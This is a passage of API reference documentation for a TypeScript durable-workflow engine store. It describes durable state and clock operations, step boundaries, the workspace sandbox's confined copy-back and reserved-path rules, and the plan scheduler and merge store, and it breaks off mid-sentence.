| `wake`                    | `(runId: string) => Effect<WakeOutcome>`                                                                                                                         |
| `waiting`                 | `(runId: string) => Effect<Option<WaitingRow>>`                                                                                                                  |
| `waitingRuns`             | `(filter?: WaitingRunsFilter) => Effect<ReadonlyArray<WaitingRow>>`                                                                                              |
| `waitingTree`             | `(runId: string, options?: WaitingTreeOptions) => Effect<ReadonlyArray<WaitingRow>>`                                                                             |
| `pendingRuns`             | `(flowName: string, limit?: number, after?: PendingRunCursor, through?: PendingRunCursor, eligibleBeforeMs?: number) => Effect<ReadonlyArray<PendingRunCursor>>` |
| `pendingRunTail`          | `(flowName: string, eligibleBeforeMs?: number) => Effect<Option<PendingRunCursor>>`                                                                              |
| `pendingCancellationRuns` | `(limit: number, after?: PendingRunCursor, through?: PendingRunCursor) => Effect<ReadonlyArray<PendingRunCursor>>`                                               |
| `pendingCancellationTail` | `() => Effect<Option<PendingRunCursor>>`                                                                                                                         |
| `staleRunningRuns`        | `(staleBeforeMs: number, limit?: number) => Effect<ReadonlyArray<StaleRunningRow>>`                                                                              |
| `attemptSurvivors`        | `((runId: string, stepKeyDigest: string) => Effect<Option<AttemptSurvivors>>)` (optional)                                                                        |
| `recordRunParent`         | `(childId: string, parentId: string) => Effect<RecordRunParentOutcome, RunParentCycleError>`                                                                     |
| `removeRunParentsForRun`  | `(runId: string) => Effect<void>`                                                                                                                                |
| `runParents`              | `(childId: string) => Effect<ReadonlyArray<RunParentEdge>>`                                                                                                      |
| `runChildren`             | `(parentId: string) => Effect<ReadonlyArray<RunParentEdge>>`                                                                                                     |
| `transaction`             | `<A, E, R>(effect: Effect<A, E, R>, options?: { onCommit?, partition? }) => Effect<A, E, R>`                                                                     |

`scheduleClock` requires the execution's ownership token. Creation succeeds
only while the run is running under that owner. An existing clock wins unchanged,
even after ownership is lost. If no clock exists and the ownership fence fails,
the effect self-interrupts.

`recordRunParent` allocates `MAX(seq) + 1` in the serialized write transaction.
Migration 0007 indexes `seq` so allocation does not scan retained parent history.

`completeRunClocks` closes every uncompleted clock row of one run in a single
statement, which a terminal transition does in its own transaction.
`pendingClocks` and `completedDeferreds` never list a row whose run has settled,
so a registration sweep re-arms timers and replays completions for runs that can
still make progress and for no others. `completedDeferreds` also excludes
completions marked observed by `consumeDeferred`. The engine marks a completion
before `deferredResult` serves it; `deferred` remains a read-only lookup and keeps
returning the original result for replay. Duplicate completion writes do not
clear the marker. Migration 0008 leaves existing completions unconsumed until
the upgraded engine first serves them.

`attemptSurvivors` is optional because
only storage that can range-scan `flows_attempts` implements it; when absent the
engine falls back to per-attempt point reads against `AttemptStore`.

Every list read (`dueClocks`, `pendingClocks`, `completedDeferreds`,
`waitingRuns`, `runParents`, and `runChildren`) skips a row that will not decode
and logs a storage-integrity warning naming its primary key, so one corrupt row
costs its own row and nothing else. The point reads `deferred`, `clock`, and
`waiting` still die on such a row: reporting "no row" for a completion or
deadline that is durably recorded but unreadable would re-run work whose side
effects already ran.

`recordRunParent` performs its cycle check inside the same write transaction as
the insert, so a rejected edge leaves no durable trace and, of two concurrent
writers whose edges jointly close a cycle, exactly one fails. `transaction`
makes several store operations atomic; nested store writes become savepoints.
Serialized write transactions are a documented requirement of the
`DurableWriter.write` contract, not a SQLite artifact. The shipped PostgreSQL
adapter uses READ COMMITTED transactions with a transaction-scoped advisory lock
keyed by schema, acquired before domain reads to serialize writes across pools
and processes; nested writes use savepoints. The per-execution writes
(deferred completions, clock deadlines, waiting columns) and a `transaction`
given `options.partition` lock only that execution's partition, so two
executions write side by side; `recordRunParent` and `removeRunParentsForRun`
read and change edges across runs and keep the schema's lock
([Run writer locks](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/decisions/0001-run-writer-locks.md)). A bare PostgreSQL READ COMMITTED
client without equivalent serialization is insufficient. The in-memory twin
serializes every store operation behind one permit, snapshots its state on
entry, rolls back to that snapshot when the effect fails or dies, and treats a
nested call on the same fiber as a savepoint. It is not durable: a process crash loses the whole
in-memory state, not only the uncommitted part.

When engine state and the journal participate together, `StateTransaction`
takes the engine-state boundary first and the journal writer inside it. Native
lifecycle admission, direct cancellation, deferred completion and clock
scheduling share this order. A refused park or owner transition rolls both
stores back, including a preexisting memory waiting marker. The memory commit
callback releases its gate at SQL commit, before post-commit subscribers or
compaction capture can read it. Failure after publication starts cannot undo
committed state.

`ExecutionFacts` captures the semantic native lifecycle inside the same write.
Its additive `treeVersion: 1` metadata includes parent attachment policy and a
redacted waiting question plus its named point. Opaque wake tokens remain in
the operational waiting row; the fact carries only their digest. The native
fact fold derives attached descendant human waits and compares them with a
coherent executor observation. Old v1 facts without the tree extension retain
legacy tree-wait provenance. Raw waiting request JSON is available through the
protected execution snapshot reader, independently of its redacted event view.

### Addresses, rows, and outcomes

| Export                    | Shape                                                                                                |
| ------------------------- | ---------------------------------------------------------------------------------------------------- |
| `DeferredAddress`         | `{ flowName, executionId, deferredName }`                                                            |
| `DeferredRow`             | the address plus `exit: unknown` and optional `metadata`                                             |
| `ClockAddress`            | `{ flowName, executionId, clockName }`                                                               |
| `ClockRow`                | the address plus `deferredName`, an absolute due time, and `completedAtMs: number \| null`           |
| `Waiting`                 | `{ reason, wakeAt?, token?, request?: string }`                                                      |
| `WaitingRow`              | `{ runId, reason, wakeAt: number \| null, token: string \| null, request?: Json }`                   |
| `StaleRunningRow`         | `{ runId, heartbeatAtMs }`: a stale `running` row and the lease heartbeat it froze on                |
| `WaitingReason`           | a non-empty string; the open taxonomy the driver writes (`timer`, `event`, `released`, `quarantine`) |
| `WaitingRunsFilter`       | `{ reason?, dueBeforeMs?, cancelRequested? }`                                                        |
| `RunParentEdge`           | `{ childId, parentId, seq }`, where `seq` is ordering only                                           |
| `AttemptSurvivors`        | `{ earliestAttempt, earliestStartedAtMs, latest }`                                                   |
| `CompleteDeferredOutcome` | `Completed` or `Existing`                                                                            |
| `ScheduleClockOutcome`    | `Scheduled` or `Existing`                                                                            |
| `CompleteClockOutcome`    | `Completed`, `AlreadyCompleted`, or `NotFound`                                                       |
| `ParkOutcome`             | `Parked` or `NotFound`                                                                               |
| `WakeOutcome`             | `Woken`, `NotWaiting`, or `NotFound`                                                                 |
| `RecordRunParentOutcome`  | `Recorded` or `Existing`                                                                             |
| `RunParentCycleError`     | tagged error carrying `path`, the execution ids from the child back to itself                        |
| `EngineStateFault`        | defect for a broken invariant: `reason` names it, `field` names an unwritable or unreadable column   |

Both implementations answer one behavior contract, so a test written against
the memory twin holds for the SQL one. See
[Test against a durable store](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/testing.md).

Full model: [Durable waits](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/durable-waits.md).

### EngineStateFault

`DurableEngineState.EngineStateFault` is a tagged defect with optional `field`
and `cause`. JSON encoding and decoding failures use `value_not_serializable`
and `value_not_decodable`; `field` identifies the value or column.
`deferred_completion_missing` and `run_parent_edge_missing` identify missing
first-writer transaction rows. The tag is
`@smthrs/engine-store/EngineStateFault`; these remain defects, not recoverable
failures in the service error channel.

## StepBoundary

[src/StepBoundary.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/StepBoundary.ts)

The declared read and write sets of a step, measured before and after it runs.
The declaration itself, `FileBoundary` with `readSet`, `writeSet`, `removes`,
and `boundaryMode` of `hard` or `expected`, lives in
[`@smthrs/flow`](/docs/reference/api/flow/)'s `Action` namespace.

```ts
interface Service {
  readonly prepare: (descriptor: FileBoundary) => Effect<PreparedBoundary, UnsupportedBoundary, Crypto>
  readonly settle: (prepared: PreparedBoundary) => Effect<
    BoundaryEvidence,
    UndeclaredWrite | MissingDeclaredOutput | SurvivingDeclaredRemoval | UnsupportedBoundary | BoundaryCorruption,
    Crypto
  >
  readonly replayOutputs: (evidence: BoundaryEvidence) => Effect<
    void,
    UnsupportedBoundary | BoundaryCorruption | MissingArtifact,
    Crypto
  >
}
```

| Export              | Signature                                                                                                | Meaning                                                                                                                                                                                                          |
| ------------------- | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `StepBoundary`      | `Context.Service<Service>`                                                                               | Service tag.                                                                                                                                                                                                     |
| `make`              | `(service: Service) => Service`                                                                          | Brands an implementation, so a wrong shape is reported where it is written.                                                                                                                                      |
| `makeFileSystem`    | `(fs: FileSystem, path: Path, artifacts: ArtifactStore.Service, options?: FileSystemOptions) => Service` | The production boundary.                                                                                                                                                                                         |
| `layer`             | `Layer<Service, never, FileSystem \| Path \| ArtifactStore>`                                             | Provides it, rooting measurement and replay at the kernel `Workspace` root when one is in context. Resolves that root with the host `Path`.                                                                      |
| `layerTest`         | `(options?: TestOptions) => Layer<Service>`                                                              | Deterministic in-memory boundary.                                                                                                                                                                                |
| `layerUnsupported`  | `Layer<Service>`                                                                                         | The boundary of a host with no filesystem. Every call fails with `UnsupportedBoundary`, so a sealed step that declares a file boundary fails its attempt before its body runs; a step without one runs normally. |
| `exactReads`        | `(descriptor: FileBoundary) => ReadonlyArray<FileInput>`                                                 | Exact read inputs, ignoring declarations that still need expansion.                                                                                                                                              |
| `readSetMatches`    | `(prepared: PreparedBoundary) => boolean`                                                                | Whether the measured snapshot still matches the declaration.                                                                                                                                                     |
| `referencedDigests` | `(evidence: BoundaryEvidence) => ReadonlyArray<ArtifactStore.Digest>`                                    | The digests the evidence references rather than inlines. Evidence from a foreign implementation yields the empty list.                                                                                           |

### Schemas

| Export                      | Shape                                                                                                                                             |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PreparedBoundary`          | `{ descriptor, readSnapshot }`. The snapshot is what the host actually measured, and is the evidence the declared digests still describe reality. |
| `BoundaryEvidence`          | `{ declaredOutputs, diffIdentity, wholeTreeWritesVerified?, hermeticReadsVerified?, deviation? }`                                                 |
| `ExpectedSetDeviation`      | `{ paths, diffIdentity }`, writes outside the declared write set                                                                                  |
| `MissingOutputDeviation`    | `{ paths, diffIdentity }`, declared writes never produced                                                                                         |
| `SurvivingRemovalDeviation` | `{ paths, diffIdentity }`, declared removals left in place                                                                                        |
| `BoundaryDeviation`         | the union of the three                                                                                                                            |

### FileSystemOptions

| Field                 | Default | Meaning                                                                                                                                                                                 |
| --------------------- | ------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `maxInlineBytes`      | 1 MiB   | The largest single output inlined into the evidence. Anything larger is stored by digest reference.                                                                                     |
| `maxTotalInlineBytes` | 8 MiB   | The largest aggregate inline payload one settle may fold in. Past it, an output is spilled even though it individually fits.                                                            |
| `root`                | cwd     | The root declared paths resolve against: `prepare` and `settle` measure under it, and replay confines writes and removals to it. A filesystem already confined to a root keeps its own. |

`replayOutputs` writes and deletes what the evidence names, so it confines its
own mutations instead of trusting the composition. Every write, removal, probe,
and tree prune goes through `@smthrs/kernel/FileSystem`'s `confined` view:
one descriptor-relative, no-follow request per call against the pinned root. A
symlink on a replayed path (a parent, the final component, or a member of a
replayed tree) refuses with `UnsupportedBoundary`, and so does a host with no
descriptor-relative executor or isolation attestation, before any host call.
`prepare` and `settle` only read and keep the caller's filesystem, but hand a
path-based host each declared path resolved against `root`, the root a step's
own FileSystem resolves against. A same-named file in the process working
directory therefore never answers the dirty check (issue #3911).

### TestOptions

`failure`, `deviation`, `readSnapshot`,
`declaredOutputs`, `diffIdentity`, `supported`, `wholeTreeWriteDetection`,
`hermeticReadDetection`, and `onReplay`. Defaults describe a well-behaved,
fully-supported host. Failures and deviations are returned verbatim; use the real
filesystem layer to test classification. `wholeTreeWriteDetection` defaults to `true`, which is a
fixture claim rather than a proof: the real whole-tree observation comes from
[`WorkspaceSandbox`](#workspacesandbox).

### Errors

| Error                      | `code`                       | Fields                                     |
| -------------------------- | ---------------------------- | ------------------------------------------ |
| `UndeclaredWrite`          | `undeclared_write`           | `paths`, `diffIdentity`                    |
| `MissingDeclaredOutput`    | `missing_declared_output`    | `paths`, `diffIdentity`                    |
| `SurvivingDeclaredRemoval` | `surviving_declared_removal` | `paths`, `diffIdentity`                    |
| `UnsupportedBoundary`      | `unsupported_boundary`       | `message`, optional `cause` carried whole  |
| `BoundaryCorruption`       | `boundary_corruption`        | `path`, `recordedDigest`, `measuredDigest` |
| `MissingArtifact`          | `missing_artifact`           | `path`, `digest`                           |

Full model: [Step boundaries](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/step-boundaries.md).

## StepSandbox

[src/StepSandbox.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/StepSandbox.ts)

Scope-safe acquisition of one isolated workspace per step.

| Export           | Signature                                                                          | Meaning                                                                  |
| ---------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| `StepSandbox`    | `Context.Service<Service>`                                                         | Service tag.                                                             |
| `Service`        | `{ open: Effect<WorkspaceSandbox.Service, UnsupportedBoundary> }`                  | Acquires the workspace.                                                  |
| `make`           | `(workspace: WorkspaceSandbox.Service) => Service`                                 | Wraps a transaction backend.                                             |
| `layer`          | `Layer<Service, WorkspaceError, FileSystem \| Path \| ArtifactStore \| Workspace>` | The filesystem-backed sandbox. Refuses a path-based host at build.       |
| `layerTest`      | `(initialFiles?: InitialFiles) => Layer<Service, WorkspaceError, Crypto>`          | Deterministic in-memory sandbox.                                         |
| `layerNoop`      | `Layer<Service>`                                                                   | Fails closed with `UnsupportedBoundary`, for a host that cannot sandbox. |
| `UndeclaredRead` | tagged error, `code: "undeclared_read"`, fields `paths` and `diffIdentity`         | A hermetic body read outside its declared read set.                      |

## WorkspaceSandbox

[src/WorkspaceSandbox.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/WorkspaceSandbox.ts)

The functional workspace transaction: a sealed action's body runs in an isolated
workspace and returns its writes rather than performing them.

```ts
interface Service {
  readonly execute: <Output, Error>(
    execution: Execution<Output, Error>
  ) => Effect<ExecutionResult<Output>, Error | WorkspaceError, Crypto>
  readonly materialize: <Output>(
    accepted: Accepted<Output>
  ) => Effect<void, MaterializationConflict | WorkspaceError, Crypto>
}
```

`materialize` checks digests and retained bytes before changing files. Every
copy-back host call is one descriptor-relative, no-follow request against the
root pinned for that commit (`@smthrs/kernel/FileSystem`'s `confined`), so a
symlink on a change's path, including one swapped in mid-commit, fails with
`path_escapes_workspace` and is never followed. The host must carry the
kernel's atomic executor (`@smthrs/platform-node`'s `AtomicFileSystem`), an
isolation attestation, or be the kernel-guarded filesystem for the same root. The filesystem host serializes cooperating commits through preflight,
apply, and rollback, using a workspace-root semaphore and the
`.smithers-workspace-lock` lease file (`@smthrs/artifacts/FileLease`: heartbeat
every 10 seconds, stale after 60 seconds, acquisition deadline 2 minutes). The
lock and its children are reserved, as are the `.flows` engine state directory
and every `reservedPaths` entry, under any write set or boundary mode. A change
that targets or lies beneath a reserved path fails with `host_unavailable`.
Reserved names match after Unicode NFKC normalization and case folding, so
`.FLOWS` or `.ﬂows`, which open `.flows` on default APFS and NTFS volumes, are
refused on every volume. An NTFS 8.3 short-name shape, such as `FLOWS~1`, is
refused wherever a reserved segment stands, because an NTFS volume with short
names on opens the long name through it, including from WSL or SMB.
Hosts must support exclusive `wx` file creation, `stat` with an mtime,
`utimes`, `rename`, and `remove`; writers that ignore the lock are outside this
guarantee.

Rollback uses in-memory file pre-images. Copy-back is not crash-atomic, and
rollback can fail. A compound cause preserves the apply failure plus a
`WorkspaceError` (`host_unavailable`) carrying the rollback cause. The caller
must reconcile host files after a crash or failed rollback before resuming.
A crashed holder's lock is reclaimed once its heartbeat is 60 seconds old. A
commit that cannot take the lock within 2 minutes fails with
`commit_lock_timeout` and changes nothing. Lock waits are interruptible.

| Export                      | Signature                                                                                                                          | Meaning                                                                                                                                               |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `WorkspaceSandbox`          | `Context.Service<Service>`                                                                                                         | Service tag.                                                                                                                                          |
| `make`                      | `(service: Service) => Service`                                                                                                    | Brands an implementation.                                                                                                                             |
| `layer`                     | `(service: Service) => Layer<Service>`                                                                                             | Provides one.                                                                                                                                         |
| `makeHosted`                | `(host: Host) => Service`                                                                                                          | The transaction itself, over a `Host`.                                                                                                                |
| `makeMemory`                | `(initialFiles?: InitialFiles) => Effect<MemorySandbox, WorkspaceError, Crypto>`                                                   | Deterministic, browser-safe, and the conformance implementation. Seeds the whole tree, so an undeclared read is observable.                           |
| `makeFileSystem`            | `(fs: FileSystem, path: Path, artifacts: ArtifactStore.Service, workspaceRoot: string, options?: FileSystemOptions) => Service`    | The production host.                                                                                                                                  |
| `layerFileSystem`           | `(options?: FileSystemOptions) => Layer<Service, WorkspaceError, FileSystem \| Path \| ArtifactStore \| Workspace>`                | Provides it, taking the root from the kernel `Workspace` and resolving it with the host `Path`. Fails with `host_unavailable` over a path-based host. |
| `layerUnsupported`          | `Layer<Service>`                                                                                                                   | The sandbox of a host with no filesystem: `execute` and `materialize` fail with `host_unavailable` and never run the body.                            |
| `Workspace`                 | `Context.Service<Workspace>`                                                                                                       | The in-transaction filesystem and effect outbox, available only inside `execute`.                                                                     |
| `EffectDispatcher`          | `Context.Service<Dispatcher>`                                                                                                      | The post-copy-back dispatch stage. Optional.                                                                                                          |
| `layerDispatcher`           | `(dispatcher: Dispatcher) => Layer<Dispatcher>`                                                                                    | Provides one.                                                                                                                                         |
| `violations`                | `(descriptor: FileBoundary, base: ReadonlyMap<string, Uint8Array>, provenance: Provenance) => ReadonlyArray<DeclarationViolation>` | Everything the declaration failed to predict, deduplicated.                                                                                           |
| `isMaterializationConflict` | `(error: unknown) => boolean`                                                                                                      | Recognizes both the live class and the persisted schema form.                                                                                         |

### Models

| Export                     | Shape                                                                                                                                                                                                                                          |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Resource`                 | `{ kind, id }`. This implementation records `kind: "file"`.                                                                                                                                                                                    |
| `InputObservation`         | `{ resource, digest }`                                                                                                                                                                                                                         |
| `OutputObservation`        | `{ resource, operation: "write" \| "remove", digest }`                                                                                                                                                                                         |
| `Provenance`               | `{ baseRevision, inputs, outputs }`                                                                                                                                                                                                            |
| `FileChange`               | `{ path, beforeDigest, afterDigest, after? }`. `beforeDigest` is a materialization precondition, not a hint.                                                                                                                                   |
| `QueuedEffect`             | `{ protocol, idempotencyKey, payload }`                                                                                                                                                                                                        |
| `WorkflowResult<Output>`   | `{ output, files, provenance, effects }`                                                                                                                                                                                                       |
| `Execution<Output, Error>` | `{ descriptor, cacheKey?, workflow }`                                                                                                                                                                                                          |
| `DeclarationViolation`     | `{ kind: "undeclared-read" \| "undeclared-write", resource }`                                                                                                                                                                                  |
| `CacheOutcome`             | `disabled`, `miss`, or `hit`. A run-local memo, not the cross-run cache.                                                                                                                                                                       |
| `Accepted<Output>`         | `{ _tag: "Accepted", result, cache, violations }`                                                                                                                                                                                              |
| `Invalidated`              | `{ _tag: "Invalidated", provenance, violations }`. No accessor for the candidate output, files, or queued effects.                                                                                                                             |
| `ExecutionResult<Output>`  | `Accepted<Output> \| Invalidated`                                                                                                                                                                                                              |
| `Host`                     | `{ snapshot, baseline, retain, commit, root }`                                                                                                                                                                                                 |
| `MemorySandbox`            | `{ service, files }`, where `files` observes host state, changed only by `materialize`                                                                                                                                                         |
| `HostFile`                 | `{ path, content }`                                                                                                                                                                                                                            |
| `InitialFiles`             | `Readonly<Record<string, string \| Uint8Array>>`                                                                                                                                                                                               |
| `FileSystemOptions`        | `{ maxInlineBytes?, reservedPaths? }`. `maxInlineBytes` defaults to 1 MiB, matching `StepBoundary`'s evidence bound. `reservedPaths` lists root-relative engine state paths copy-back refuses, beyond `.smithers-workspace-lock` and `.flows`. |

### Errors

| Error                     | Fields                                                                                                                                                   |
| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `WorkspaceError`          | `code` of `invalid_path`, `not_found`, `host_unavailable`, `path_escapes_workspace`, or `commit_lock_timeout`; `message`; optional `cause` carried whole |
| `MaterializationConflict` | `paths` (at most 1,024, each at most 4,096 characters) and `message`                                                                                     |

It is a deterministic transaction model, not a security boundary. A body
reaching the host through a service the transaction does not seed is outside it;
denying that ambient access is the VM and `SandboxProvider` story in
[`@smthrs/sandbox`](/docs/reference/api/sandbox/). The human diff-review gate is not implemented
and a settled bundle is applied without it, a known limitation of this release,
and the transaction's `FileSystem` surface is deliberately partial.

Full model: [Workspace transactions](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/workspace-transactions.md).

Cache-eligible actions hold a durable `engine-cache:<digest>` consensus permit
through execution and cache recording. Another engine or process waits, then
reads the recorded result. Unkeyed or ineligible actions retain their existing
admission rules. A stale permit is recovered only after the configured liveness
policy reports its owner dead; the default uses lease expiry. This applies to
both engine dispatch and plan scheduling. `PlanScheduler.Options.isAlive` accepts
the same `Ownership.LivenessCheck` as `EngineStore.Options.isAlive`.

## PlanScheduler

Every declared effect tier is schedulable. Sealed dispatches retain their
content-derived keys and cache-admission requirements. Compensable and
irreversible dispatches use run-local plan/node/declaration scopes, retain
their tier in attempt metadata, and never publish shared-cache results. A
`clean` settlement means no executor ran: it includes both same-run durable
replay and eligible shared-cache hits. Compensable retries restore the supplied
snapshot; the generic executor has no irreversible idempotency contract and
therefore refuses uncertain recovery or retry of those effects. Irreversible
conflicts fail without automatic rebase or merge elaboration.

[src/PlanScheduler.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/PlanScheduler.ts)

Drives a persisted [`@smthrs/plan`](/docs/reference/api/plan/) plan to completion.

```ts
interface Service {
  readonly record: (plan: Plan) => Effect<PlanStore.RecordResult, SchedulerError, PlanStore | Journal | Crypto>
  readonly append: (plan: Plan) => Effect<void, SchedulerError, PlanStore | Journal | Crypto>
  readonly run: (plan: Plan) => Effect<Report, SchedulerError, Requirements>
}
```

| Export          | Signature                                                                    | Meaning                                                                                                                                                           |
| --------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PlanScheduler` | `Context.Service<Service>`                                                   | Service tag.                                                                                                                                                      |
| `make`          | `(options: Options) => Service`                                              | Builds a scheduler bound to one run.                                                                                                                              |
| `layer`         | `(options: Options) => Layer<PlanScheduler>`                                 | Provides it.                                                                                                                                                      |
| `NodeExecutor`  | `Context.Service<Executor>`                                                  | The DI seam that turns a node into work.                                                                                                                          |
| `layerExecutor` | `(executor: Executor) => Layer<NodeExecutor>`                                | Provides one.                                                                                                                                                     |
| `recertify`     | `(input: { plan, deferringRunId, options }) => Effect<RecertifyResult, ...>` | Re-drives a plan guess-free under a fresh run, then reports remaining debt.                                                                                       |
| `Requirements`  | type                                                                         | `AttemptStore`, `CacheStore`, `Crypto`, `Jj`, `Journal`, `NodeExecutor`, `PlanStore`, `PlanInputStore`, `PlanMergeStore`, `RunStore`, and `StepBoundary.Service`. |

### Options

| Field                | Meaning                                                                                                                                                                          |
| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `runId`              | The run this scheduler drives.                                                                                                                                                   |
| `owner`              | The `OwnerId` its writes are fenced with.                                                                                                                                        |
| `sourceId`           | The journal source id.                                                                                                                                                           |
| `environment`        | Runtime identity copied at construction and bound durably before dispatch; changing it requires a new run. Omission preserves action keys but is a distinct environment binding. |
| `concurrency.steps`  | Caps leaf execution. Defaults to unbounded; zero is refused.                                                                                                                     |
| `concurrency.agents` | Caps the agent subset within it. Same defaults.                                                                                                                                  |
| `rebaseLimit`        | How many times a `delay-rebase` node may re-measure and re-key before reconciliation is asked.                                                                                   |
| `selection.changed`  | Changed paths the belief edges are matched against.                                                                                                                              |
| `selection.beliefs`  | The `BeliefSnapshot` pinned before planning.                                                                                                                                     |
| `selection.policy`   | Deferral policy; `deferBelow` defaults to zero, which defers nothing.                                                                                                            |
| `selection.full`     | Treat every verdict as `Admit`, journaled.                                                                                                                                       |

Both concurrency caps must be positive safe integers and `rebaseLimit` a
non-negative one; invalid bounds are rejected at construction.

### Models

| Export            | Shape                                                                                                         |
| ----------------- | ------------------------------------------------------------------------------------------------------------- |
| `Outcome`         | `built`, `clean`, `failed`, `skipped`, or `deferred`                                                          |
| `ResolvedInput`   | `{ from, path, value }`, the settled output of `from` projected along `path`                                  |
| `NodeInput`       | `{ node, attempt, boundary, inputs }`                                                                         |
| `Executor`        | `{ execute: (input: NodeInput) => Effect<unknown, unknown> }`                                                 |
| `Settlement`      | `{ nodeId, planKey, dispatchKey, outcome, attempts, rebases }`                                                |
| `Report`          | `{ planId, digest, settlements, results, verdicts, appended }`                                                |
| `RecertifyResult` | `{ runId, report, remaining }`                                                                                |
| `SchedulerError`  | `code` of `invalid_plan`, `boundary_unavailable`, `key_uncomputable`, `elaboration_failed`, or `store_failed` |

Ready nodes dispatch through the same persistence path every action uses, so
the shared step cache,
[`WorkspaceSandbox`](#workspacesandbox)'s execute-then-materialize transaction,
attempt rows, and the fenced journal all apply unchanged. A sealed dispatch key
folds the node's own declaration, measured file digests and projected material
inputs. It does not fold upstream plan keys, so unchanged consumed content can
reuse a result even when an upstream declaration changed.

Skyframe's `AbstractParallelEvaluator` is the prior art. A private, rebuildable
`RuntimeGraph` maintains forward/reverse adjacency, dependency counts and ready
frontiers. Reverse indexes propagate settled outcomes and readiness only;
content addressing still governs reuse, with no cache-invalidation visitor.
The coordinator reconciles each completion before admitting dependents, while
unrelated work can remain in flight. Retry/rebase attempts are not additional
node settlements. Appended indexes become visible after durable admission.

A writer appended in a later generation also waits for every earlier
generation's reader of a path it writes or removes, as
[`Plan.writerFences`](/docs/reference/api/plan/) lists them. The reader was planned before the
writer existed and reads what the path held before it, so the writer must not
change those bytes while the reader runs or before it starts. The fence opens
when the reader settles, whatever its outcome: a failed or skipped reader never
skips the writer, and nothing about the fence is recorded in the plan, so a
recorded plan's digest, approval and verification are unchanged. Generations
only grow and a discovered edge binds pending work behind a node that already
ran, so a fence never closes a cycle.

The existing scheduling policy ranks the current ready frontier by priority
plus capacity-constrained admission passes waited, with exact arithmetic and
compiled plan order for ties. It retains independent step and agent caps.
Readiness no longer scans the entire plan after each settlement; admission
still considers and re-ranks all ready candidates to preserve aging.

Read versions are relative to each reader's predecessors. A path with no
preceding writer is a source input, even when that reader or a later node writes
it. Source paths and source-glob membership are pinned before the first dispatch
(new generations are observed at append time); preceding producers' outputs are
measured after settlement. Later writers do not widen a read glob's membership.
A rebase re-observes preceding outputs, not source inputs.

`PlanInputStore` records those observations before dispatch and restores them on
reopen, without re-enumerating source globs or measuring source files again.
Each run binds one plan ID and approved base digest; a different approved
graph or plan ID needs a new run. New runs observe the current world independently and may
reuse eligible shared-cache results. These rules do not freeze external state
or replace boundary enforcement when an unfinished action actually executes.

`Options.environment` is copied at scheduler construction and bound durably
before source observation or dispatch. Recovery requires the same normalized
identity for all compiled effect tiers. Layer order and duplicates matter;
capability-pattern order and duplicates do not. Omission, declared-empty, and
undeclared/run-scoped identities are distinct. A changed environment returns
`store_failed` with a typed input/merge-store cause of `incompatible_state`, without
executing or replacing the old binding. Recover with the original environment,
or explicitly reconcile unfinished effects before starting a new run. This
checks supplied identities, not undeclared changes in implementation behavior.

Ready work is ordered by declared
`priority` plus one point per round waited, so priority changes latency without
permitting starvation.

Full guide: [Drive a plan to completion](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/drive-a-plan.md).

`stop-merge` records its stopped-attempt decision in `PlanMergeStore`. Recovery
preserves `skipped` without repeating that attempt, and commits each generated
merge with its plan extension, source observations, and durable append event.
Generated IDs avoid occupied user names. `skipped` does not mean no executor
ever ran: stopped attempts retain their attempt count. `Report.appended` lists
new appends by this invocation, not merges recovered from prior invocations.

## PlanMergeStore

Authoritative scheduler decisions, separate from action failure evidence and
redacted journal projections. Compose `layer` over the same `SqlClient` and
`DurableWriter` as `PlanInputStore`, `PlanStore`, and `Journal`, with `Crypto`;
run migrations first. `TestStores.layer` and `layerAt` include it.

| Export                                          | Contract                                                                                                                         |
| ----------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
| `Identity`                                      | `{ runId, planId, baseDigest, environmentDigest }`.                                                                              |
| `Intent`                                        | Version 1; stopped node/key, dispatch key, attempts/rebases, and exact eligible peers.                                           |
| `Completion`                                    | Version 1; appended generation, parent/result digests, merge ID/key, and winning peers.                                          |
| `Decision`                                      | Intent and optional committed completion.                                                                                        |
| `list(identity, owner)`                         | Committed decisions; refuses enclosing SQL transactions.                                                                         |
| `intend(identity, intent, owner)`               | First writer wins; joins an outer transaction when provided. Await its commit before exposing the stopped decision.              |
| `complete(identity, nodeId, completion, owner)` | Requires the caller's plan/input append transaction. Repeated identical completion converges; a different completion is refused. |
| `make`, `layer`, `PlanMergeStore`               | SQL constructor, layer, and service tag.                                                                                         |
| `maximumDecisionCharacters`                     | 16 Mi JavaScript string code units per encoded decision.                                                                         |

All operations check current ownership, cancellation, and the admitted plan and
environment. Rows are versioned, checksummed, immutable, and retained until run
collection; checksums detect corruption, not malicious database writes. The
scheduler additionally reconstructs approved generation digests and validates
stopped-node policy before dispatch. It can recover recorded merge-only
extensions from the original base, but requires supplied approved intervening
manual generations rather than inventing missing work.

`PlanMergeError.code` distinguishes `invalid_input`, `corrupt_state`,
`incompatible_state`, `fence_lost`, `transaction_open`, `transaction_required`,
and `persistence_failed`. The scheduler interrupts on fence loss and otherwise
reports `SchedulerError` with `store_failed` and the typed cause. Migration
`3005` leaves existing observation heads' merge-state version unknown and
refuses recovery under this runtime. Finish on the prior runtime or reconcile
unfinished effects before starting a new run; never infer authority from
